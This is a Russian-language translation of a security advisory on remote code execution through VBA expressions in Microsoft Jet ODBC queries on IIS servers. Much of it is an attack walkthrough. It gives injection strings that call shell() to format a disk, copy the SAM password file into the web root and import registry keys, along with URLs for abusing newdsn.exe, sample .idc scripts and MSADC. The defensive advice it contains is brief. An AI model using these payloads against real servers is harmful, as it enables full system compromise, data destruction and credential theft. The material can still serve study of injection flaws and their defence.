Технология взлома ODBC


 

Эта заметка является вольным русскоязычным переводом материала "Advisory: NT ODBC Remote Compromise" by Matthew Astley & Rain Forest Puppy. Текст, выделенный курсивом, принадлежит автору этого сайта.

Драйвер доступа к данным ODBC Microsoft Jet (он обеспечивает доступ к БД Microsoft Access, FoxPro, dBase, Excel, Paradox, Text; инсталлируется как драйвер ODBCJT32.DLL) позволяет включать в строковые выражения команды VBA (Visual Basic for Applications), которые могут выполнить произвольный код из командной строки Windows NT. Так как Internet Information Server выполняет команды ODBC в контексте System, то атака с использованием скриптов VBA позволяет злоумышленнику получить полный доступ к системе. Возможно, что таким же образом работают с ODBC и другие web-серверы.

Комментарий. ODBC позволяет получить гибкий доступ к реляционным СУБД, используя выражения SQL. Путем некорректной расстановки специальных символов в SQL-запросе иногда возможно атаковать систему (пример с Microsoft SQL Server описан в журнале Phrack 54, article 8). Однако драйвер Microsoft Jet включает в себя некоторые расширения SQL, в том числе позволяющие выполнить код VBA. Благодаря такой особенности Microsoft Jet атаки посредством SQL-запроса становятся намного интересней и, соответственно, опасней для атакуемой системы.

Согласно синтаксису SQL, строковые выражения внутри запроса должны заключаться в одинарные кавычки (апострофы). Соответственно, если необходимо использовать апостроф непосредственно внутри строкового выражения, его необходимо продублировать.

Драйвер Jet содержит расширения, позволяя заключать в вертикальные линии выражения VBA, например:

select 'lil'' string | 6+7 | with number'
as foo from table

Это выражение возвратит набор записей, содержащих для каждой строки входной таблицы одно поле со значением:

lil' string 13 with number

Все это достаточно безопасно, если CGI или ASP-приложения правильно интерпретируют входящие данные. Однако многим программистам неизвестна такая особенность Jet-драйвера. Подробный материал на эту тему смотрите в статье Microsoft Knowledge Base.

Символ вертикальной черты -- зарезервированный символ драйвера Microsoft Jet. Он просматривается и обрабатывается в запросе в первую очередь, запуская на выполнение соответствующий скрипт. Если вам нужно вставить вертикальную линию в текстовую строку в запросе, используйте CHR(124).

Выражения VBA могут использоваться внутри любых данных запроса к Microsoft Jet. Это может быть текстовая строка или выражение условия. Это делает уязвимость более опасной и позволяет осуществлять гибкие атаки.

Самое большое ограничение -- возможность использовать только VBA-выражения, но не инструкции. Подробности можно найти в справочной системе Microsoft Access (раздел "Function Reference").

Наиболее полезная команда -- "shell" (вызов оболочки). Запуская с помощью shell интерпретатор cmd.exe, атакующий может выполнить любую программу в операционной системе.

Функция environ() позволяет прочитать значения переменных окружения, а посредством chr() можно вводить специфические символы. Существует также стандартные функции, подобные iif() и различные строковые операции (например, конкатенация строк -- оператор "&").

ASP предоставляет весьма удобные средства отладки -- сообщения об ошибках, как правило, включают в себя целое SQL-выражение. Благодаря этой особенности атакующий может попробовать различные варианты URL, пока это не приведет к желаемому результату.


В Internet Information Server 4 есть возможности отключения подробных сообщений об ошибках. Для этого достаточно установить соответствующий переключатель на панели Microsoft Management Console -> Web Site Properties -> Home Directory -> Application Settings -> Configuration -> App Debugging -> Script Error Messages.

Практический пример использования:

|shell("cmd /c echo " & chr(124) & " format a:")|

Команда форматирует дискету в дисководе A:. Любые ошибки будут проигнорированы, хотя свернутое в иконку окно будет сфокусировано во время выполнения команды.

Использование "cmd /c" позволяет осуществить конвейеризацию (из ECHO в FORMAT передается символ "Enter", виртуально "нажимающий клавишу" перед началом форматирования).

Эта строка может быть включена в ODBC-запрос посредством, например, обычной формы на web-странице, которая потом обрабатывается ASP.

Вот еще один пример, позволяющий получить доступ к паролям сервера:

|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetpub\wwwroot")|

Для успешного копирования данных необходимо, естественно, заранее знать соответствующие пути.

Возможно перенаправление потоков в выражении:

|shell("cmd /c echo 1 > %temp%\foo.txt") & 
 shell("cmd /c echo 2 >> %temp%\foo.txt") & 
 shell("cmd /c echo 3 >> %temp%\foo.txt")|

Не факт, что эти команды будут всегда исполняться в предусмотренном порядке. Они работают в асинхронном режиме, и на различных серверах результат будет разным.

Можно ли таким образом изменять ключи Реестра? Это проблематично сделать обычными средствами (VBA не позволит работать с соответствующими API), однако никто не мешает создать временный файл с соответствующим ключом и выполнить выражение

|cmd /c regedit /s %temp%\tmp.reg| 

Ключ /c важен, так как он позволяет не выводить диалоговые окна на экран.

Права доступа при такой атаке распределяются следующим образом. Хотя процесс inetinfo.exe имеет привелегию System, обращения из Internet обрабатываются в контексте пользователя IUSR_servername. Однако все ODBC запросы обрабатываются в контексте System, что позволяет получить посредством удаленной атаки полный доступ к системе.

Фактически на сегодняшний день следует признать уязвимыми любые web-сайты, которые дают возможность пользователям отсылать драйверу Microsoft Jet текстовые строки из регистрационных форм, методом GET или как-то еще, вообще тем или иным образом влиять на формирование SQL-запроса.

В качестве решения рекомендуется не использовать доступ к данным через Microsoft Jet до выпуска соответствующей заплатки. Однако такое поведение Jet документировано, поэтому исправление драйвера может привести к неработоспособности ряда приложений.

Обращаюсь ко всем, кто использует мою гостевую книгу. Она частично тоже может быть использована для атаки. Специально по этому случаю выпущена исправленная версия 2.2, которую можно скачать с этого сайта. В ближайшее время новая версия будет скопирована и на сервер http://www.activeserverpages.ru/.

Приведем пример реальной атаки на сервер. Для начала маленькое объяснение механизма взаимодействия ODBC и DSN (источники данных, Data Source).

Прикладная программа соединяется с ODBC, сообщая драйверу свой запрос к конкретной DSN, определенной в апплете ODBC32 в Панели Управления (Control Panel). DSN фактически представляет собой набор полей, которые определяют имя ресурса, используемые драйверы (в нашем случае это MS Jet), и фактическое расположение файла базы данных (*.mdb, *.dbf, и т. п.) в случае Jet или переадресация к соответствующему серверу в случае Microsoft SQL, Oracle или другой реляционной СУБД.

Итак, DSN определяется по имени. Может случиться, что нужный DSN не найден. Если вы имеете дело с сервером, на котором установлен IIS, проверьте наличие скрипта

http://server/scripts/tools/newdsn.exe

Если есть доступ к такому скрипту, то используется следующая схема:

  • выбор драйвера Microsoft Access (*.mdb)
  • ввод корректного имени DSN
  • ввод пути к .mdb-файлу
  • submit

Можно использовать только newdsn.exe, однако существуют и более удобные приложения getdrvs.exe и dsnform.exe. Соответствующий URL для newdsn.exe выглядит так:

http://server/scripts/tools/newdsn.exe?
driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&
dsn=DSN_name&dbq=c:\web.mdb&
newdb=CREATE_DB&attr= (все в одну строку)

DSN -- имя источника данных, а DBQ -- расположение файла.

Использование примеров, поставляемых с IIS. До сих пор встречаются серверы, на которых примеры (каталог Samples) доступны из Internet. Многие из них могут быть использованы для исследуемой нами атаки. Вот, например, хороший скрипт:

http://server/scripts/samples/details.idc?Fname=&Lname=

Вставьте VBS-код в параметр FName или LName, например, так:

details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|

Этот скрипт использует DSN под названием "Web SQL". Если такого DSN еще нет (а он должен быть инициализирован), нужно просто выполнить после создания DSN "Web SQL" скрипт

http://server/scripts/samples/ctguestb.idc

Доступ через MSADC. В IIS 4.0 появилась возможность делать удаленные запросы к DSN через интерфейс HTTP посредством DLL-библиотеки. Microsoft упоминает в документации, что установленный MSADC может привести к проблемам защиты.

http://server/msadc/msadcs.dll

Это и есть искомая DLL. Доступ осуществляется нестандартным способом, поэтому нельзя обратиться к ней с помощью обычных URL. Однако существует http-интерфейс

http://server/msadc/samples/adctest.asp

Вы получите доступ к MSADC только при условии использования Internet Explorer 4.0+. У него есть специальные расширения Java/JavaScript, которые позволяют устанавливать DSN, логин и пароль, запрос SQL. Вы должны знать структуру и имя таблицы, к которой происходит обращение, чтобы написать правильное выражение SQL.

Итак, что делать дальше? Просто выполнить SQL-запрос, например:

Connection: DSN=AdvWorks
     Query: Select * from Products where 
            ProductType='|shell("")|'

Внутри кавычек укажите ваш shell-код. Вот и все.